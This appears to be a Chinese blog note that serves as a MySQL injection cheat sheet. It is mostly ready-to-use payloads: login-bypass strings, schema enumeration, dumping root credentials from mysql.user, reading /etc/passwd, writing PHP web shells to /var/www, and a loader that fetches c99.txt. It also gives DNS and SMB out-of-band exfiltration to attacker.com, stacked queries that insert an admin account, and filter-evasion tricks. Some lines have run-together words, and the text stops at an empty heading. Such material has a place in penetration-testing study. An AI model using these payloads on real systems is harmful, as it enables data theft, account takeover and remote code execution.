数据库的一些注入技巧-mysql

• 2019 年 11 月 5 日
• 笔记

默认数据库

尝试注入

False表示查询无效（mysql语句错误/网页内容为空/与原页面不一致）

True表示查询有效（网页内容与原先一致）

字符串型

漏洞语句：

select * from table where id = ‘1’;

例子：

SELECT * FROMArticles WHERE id = '1''';

SELECT 1 FROM dualWHERE 1 = '1'''''''''''''UNION SELECT '2';

数字型

漏洞语句：

SELECT * FROM Table WHERE id = 1;

AND 1 True

AND 0 False

AND true True

AND false False

1-false 如果有漏洞则返回1

1-true如果有漏洞则返回0

1*56 如果有漏洞则返回56

1*56 如果没漏洞则返回1

例子：

SELECT * FROM UsersWHERE id = 3-2;

笔记:

true 等同于 1.

false等同于 0.

登录口

漏洞语句：

SELECT * FROM Table WHERE username = '';

' OR '1

' OR 1 — –

" OR "" = "

" OR 1 = 1 — –

'='

'LIKE'

'=0–+

例子：

SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

注释查询

以下内容可用于注释掉后面的其他语句

#

/*

— –

;%00

`

例子：

SELECT * FROM Users WHERE username = '' OR 1=1 — –' AND password ='';

SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

获取版本

VERSION()

@@VERSION

@@GLOBAL.VERSION

例子:

SELECT * FROM Users WHERE id = '1' ANDMID(VERSION(),1,1) = '5';

内联注释

例子：

漏洞语句：

SELECT * FROM Users limit 1,{INJECTION POINT};

数据库凭证

例子：

SELECT current_user;

SELECT CONCAT_WS(0x3A, user, password)FROM mysql.user WHERE user = 'root'– (Privileged)

密码可以解密

数据库名称

例子：

SELECT database();

SELECT schema_name FROM information_schema.schemata;

SELECT DISTINCT(db) FROM mysql.db;– (Privileged)

数据库主机名

例子：

SELECT @@hostname;

获取表和列

确定列数

通过group/order

GROUP/ORDER BY n+1;

笔记：

不断增加数字，直到页面错误

例子：

漏洞语句：

SELECTusername, password, permission FROM Users WHERE id = '{INJECTION POINT}';

1' ORDER BY 1–+ True

1' ORDER BY 2–+ True

1' ORDER BY 3–+ True

1' ORDER BY 4–+ False

-1' UNION SELECT 1,2,3–+ True 说明存在三列

通过报错（一）

GROUP/ORDER BY 1,2,3,4,5...

例子：

漏洞语句：

SELECTusername, password, permission FROM Users WHERE id = '{INJECTION POINT}'

通过报错（二）

SELECT ... INTO var_list, var_list1, var_list2...

例子1：

漏洞语句：

SELECTpermission FROM Users WHERE id = {INJECTION POINT};

例子 2:

漏洞语句：

SELECT username,permission FROM Users limit 1,{INJECTION POINT};

通过报错（三）

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1

例子：

漏洞语句：

SELECT permission FROMUsers WHERE id = {INJECTION POINT};

检索表内容

联合查询

UNION SELECTGROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;

布尔查询

报错查询

检索列内容

联合查询

UNION SELECT GROUP_CONCAT(column_name) FROMinformation_schema.columns WHERE table_name = 'tablename'

布尔查询

报错查询

limit注入

漏洞语句：

SELECT username, permission FROM Users WHEREid = 1;

一次检索多个表/列

o SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM(information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,'[ ',table_schema,' ] >',table_name,' > ',column_name))))x

SELECT * FROM Users WHERE id = '-1' UNION SELECT1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@)FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN(@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' >',column_name))))x), 4–+';

输出为

[ information_schema ] >CHARACTER_SETS >CHARACTER_SET_NAME

[ information_schema ] >CHARACTER_SETS >DEFAULT_COLLATE_NAME

[ information_schema ] >CHARACTER_SETS >DESCRIPTION

[ information_schema ] >CHARACTER_SETS >MAXLEN

[ information_schema ] >COLLATIONS >COLLATION_NAME

[ information_schema ] >COLLATIONS >CHARACTER_SET_NAME

[ information_schema ] >COLLATIONS > ID

[ information_schema ] >COLLATIONS >IS_DEFAULT

[ information_schema ] >COLLATIONS >IS_COMPILED

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name,0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROMinformation_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROMinformation_schema.columns

SELECT username FROM Users WHERE id = '-1' UNIONSELECT MID(GROUP_CONCAT(0x3c62723e,0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDERBY (SELECT version FROM information_schema.tables) SEPARATOR0x3c62723e),1,1024) FROM information_schema.columns–+';

输出为

Table: talk_revisions

Column: revid

Table: talk_revisions

Column: userid

Table: talk_revisions

Column: user

Table: talk_projects

Column: priority

从系统列查询信息

SELECT table_name FROM information_schema.columnsWHERE column_name = 'username';

SELECT table_name FROM information_schema.columnsWHERE column_name LIKE '%user%';

SELECT column_name FROMinformation_schema.columns WHERE table_name = 'Users';

SELECT column_name FROMinformation_schema.columns WHERE table_name LIKE '%user%';

不使用单引号

SELECT * FROM Users WHERE username = 0x61646D696E

SELECT * FROM Users WHERE username = CHAR(97,100, 109, 105, 110)

字符串连接

SELECT 'a' 'd' 'mi' 'n';

SELECT CONCAT('a', 'd', 'm', 'i', 'n');

SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');

条件语句

SELECT IF(1=1, true, false);

SELECT CASE WHEN 1=1 THEN true ELSE false END;

时间判断

' – (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) – '

权限判断

确定哪个用户具有file权限

文件读取

具有file权限的用户可以读取文件

LOAD_FILE()

SELECT LOAD_FILE('/etc/passwd');

SELECT LOAD_FILE(0x2F6574632F706173737764);

写文件

具有file权限的用户可以写文件

INTOOUTFILE/DUMPFILE

SELECT '<? system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php';

http://localhost/shell.php?c=cat%20/etc/passwd

SELECT '<? fwrite(fopen($_GET[f], 'w'),file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'

http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

数据带外

DNS

SELECT LOAD_FILE(CONCAT('\\foo.',(selectMID(version(),1,1)),'.attacker.com\'));

SMB

' OR 1=1 INTO OUTFILE'\\attacker\SMBshare\output.txt

多语句执行

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTOUsers(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');

SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROMUsers;

内联查询

MySQL允许在感叹号后指定版本号。仅当版本大于或等于指定的版本号时，才执行注释中的语法。

UNION SELECT /*!50000 5,null;%00*//*!40000 4,null– ,*//*!30000 3,null–x*/0,null–+

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

混淆

以下字符可以代替空格

'%0A%09UNION%0CSELECT%A0NULL%20%23

括号也可以用来避免使用空格

UNION(SELECT(column)FROM(table))

and/or之后可以使用的符号

SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

利用注释+换行

1'# AND 0— UNION# Iam a comment! SELECT@tmp:=table_name x FROM— `information_schema`.tables LIMIT 1#

1'%23%0AAND 0–%0AUNION%23I am a comment!%0ASELECT@tmp:=table_name x FROM–%0A`information_schema`.tablesLIMIT 1%23

VERSION/**/%A0 (/*comment*/)

逃避某些关键字

条件比较